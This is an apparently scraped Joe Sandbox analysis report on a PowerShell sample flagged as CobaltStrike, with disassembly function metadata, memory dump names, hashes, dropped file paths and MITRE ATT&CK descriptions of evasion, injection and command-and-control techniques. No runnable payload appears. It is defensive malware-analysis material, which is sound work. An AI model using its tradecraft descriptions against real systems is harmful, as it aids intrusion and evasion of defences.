Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

free.LIBCMT ref: 0000022EFA0CAEBF
free.LIBCMT ref: 0000022EFA0CAF23
free.LIBCMT ref: 0000022EFA0CAF2F

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno$AllocHeap_callnewhmalloc
String ID:
API String ID: 3531731211-0
Opcode ID: 12a82f6075b3f1b1b37aa8f48911ccb92805a6f06572296fb4e409a8028c0c4a
Instruction ID: d6da2e677b5833ab2f6919ff022785947f51de375c1a03388c73eab611092373
Opcode Fuzzy Hash: 12a82f6075b3f1b1b37aa8f48911ccb92805a6f06572296fb4e409a8028c0c4a
Instruction Fuzzy Hash: 2B51C37121034561EE18AFE1B6583AD6352FB88B90F160435AE0A5FFB6EF7CC452A700

Function 0000022EF9B13700 Relevance: 5.1, APIs: 4, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B13763

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 80bcae34b50f6f3c58066c2fc9d1801100724e039a84313f03cb0366590bdd42
Instruction ID: ef99cc89f34223f0fc2bc2b7baf2e4f5dbfa503bcf6769c25ea9db8cc0cc61ae
Opcode Fuzzy Hash: 80bcae34b50f6f3c58066c2fc9d1801100724e039a84313f03cb0366590bdd42
Instruction Fuzzy Hash: 3041F162700780A7EF69DFA6A62876D73A0F360B84F024425DE9A47F85FF34D885D708

Function 0000022EFA0B4300 Relevance: 5.1, APIs: 4, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0B4363

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1a29f9ba763a41af98fc3daf4a760b7fafa00e022ffdaa07ef0aba0b6fdaf4ad
Instruction ID: 03e50fc3d36ceff1f0bf6f5ba1b27bb93c985bb73962e570b6684c5f7c9c34d6
Opcode Fuzzy Hash: 1a29f9ba763a41af98fc3daf4a760b7fafa00e022ffdaa07ef0aba0b6fdaf4ad
Instruction Fuzzy Hash: 5A419222200780A7EF54DBA6B62869D63A0B788BC4F464424DE5B8BF95DF39D915D700

Function 0000022EFA0C1038 Relevance: 5.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C9170: GetCurrentProcess.KERNEL32 ref: 0000022EFA0C9188

GetLastError.KERNEL32 ref: 0000022EFA0C10A7
malloc.LIBCMT ref: 0000022EFA0C113C
free.LIBCMT ref: 0000022EFA0C1185
GetLastError.KERNEL32 ref: 0000022EFA0C11B5

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: ErrorLast$CurrentProcessfreemalloc
String ID:
API String ID: 1397824077-0
Opcode ID: cf62d47a1d5fdb9c876962cfa4c676d021a3fa8d1c8180fd698ba2a0010a64ef
Instruction ID: e7b0229662e024e460fd1346b8923d1d6833349157ba6d23355c7858fc4f7d72
Opcode Fuzzy Hash: cf62d47a1d5fdb9c876962cfa4c676d021a3fa8d1c8180fd698ba2a0010a64ef
Instruction Fuzzy Hash: BB419672714641A6EF60DBA2F6447AE6391EB8C7C8F025415AF894BFE6EF7CC1419700

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5noeq2o4.gsw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngfgu5wb.msr.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WMNT3I4XNG9Y59JGGE9M.temp

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

Windows Analysis Report
3.ps1

Function 0000022EFA0B1184 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
encryptionCOMMONLIBRARYCODE

Function 0000022EFA0BEA48 Relevance: 9.1, APIs: 6, Instructions: 109
networkCOMMONLIBRARYCODE

Function 0000022EFA0BF014 Relevance: 4.6, APIs: 3, Instructions: 66
networkCOMMONLIBRARYCODE

Function 0000022EFA0BF118 Relevance: 3.0, APIs: 2, Instructions: 42
networkCOMMONLIBRARYCODE

Function 0000022EF9B296B4 Relevance: 1.6, APIs: 1, Instructions: 149
libraryCOMMON

Function 00007FFD9B961711 Relevance: .8, Instructions: 822
COMMON

Function 00007FFD9B894045 Relevance: .0, Instructions: 49
COMMON

Function 0000022EFA0D6514 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 460
COMMONLIBRARYCODE

Function 0000022EF9B35914 Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 460
COMMONLIBRARYCODE

Function 0000022EFA0C7B38 Relevance: 26.0, APIs: 10, Strings: 7, Instructions: 545
COMMONLIBRARYCODE

Function 0000022EFA0C1C30 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 150
filetimeCOMMON